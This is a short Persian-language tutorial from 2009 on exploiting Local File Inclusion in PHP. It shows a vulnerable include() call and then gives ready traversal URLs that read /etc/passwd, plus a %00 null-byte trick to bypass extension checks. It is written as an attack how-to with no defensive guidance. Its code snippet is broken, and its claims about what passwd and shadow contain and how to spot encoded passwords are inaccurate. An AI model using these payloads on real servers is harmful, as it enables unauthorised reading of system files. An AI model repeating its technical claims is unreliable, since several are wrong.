

به نام خدا

Local File Inclusion

2009/08/05

نویسنده : سعید بستان دوست

www.ipsecure.ir

mr.cback@gmail.com

توجه : هرگونه کپی برداری فقط با ذکر منبع مجاز می باشد

1- چگونه آسیب پذیری را پیدا کنیم؟

در مباحث قبلی که داشتیم با توابع

```
include()
include_once()
require()
require_once()
```

آشنا شدیم باگ های LFI هم از این توابع پیروی میکنند
به این کد توجه کنید

```
<?php
include($data);
$data=/fa/index.php
?>
```

این کد در صفحه edit.php پیدا شده
همانطور که می بینید صفحه edit.php میاد و صفحه index.php رو فراخوانی میکنه

<http://example.com/edit.php?data=index.php>

حال ما به جای اینکه Index.php رو فراخوانی کنیم میایم و passwd یا shadow فراخوانی میکنیم
در این پوشه ها یوزر و پسورد سایت های روی سرور وجود دارد

<http://example.com/edit.php?data=../../../../etc/passwd>

خوب الان من passwd رو دارم میبینم
./.: شما با کمک این کد یک پوشه به عقب میرید تا برسید به جایی که میخواید

توجه : گاه پیش می آید که شما هر چقدر تلاش میکنید نمی توانید passwd رو در بیارید
دلیل : tag هایی که در سایت مشخص شدن می خواهند

http://example.com/edit.php?data=../../../../../../etc/passwd.php

در نتیجه همچین چیزی پیدا نمیشه و به مشکل بر می خورید
ما اینجا بر سر null کد میرسیم %00 یک نال کد است که درخواست ما رو اجرا میکنه

http://example.com/edit.php?data=../../../../../../etc/passwd%00

حال دیگر مشکلی وجود ندارد و به راحتی passwd رو میبینید

2- passwd های کد شده را چگونه تشخیص دهیم

خوب پس از اینکه passwd رو درآوردید اگر هر یوزر کدی شبیه این بود پسورد کد شده هست

:x:00:00:xx

موفق باشید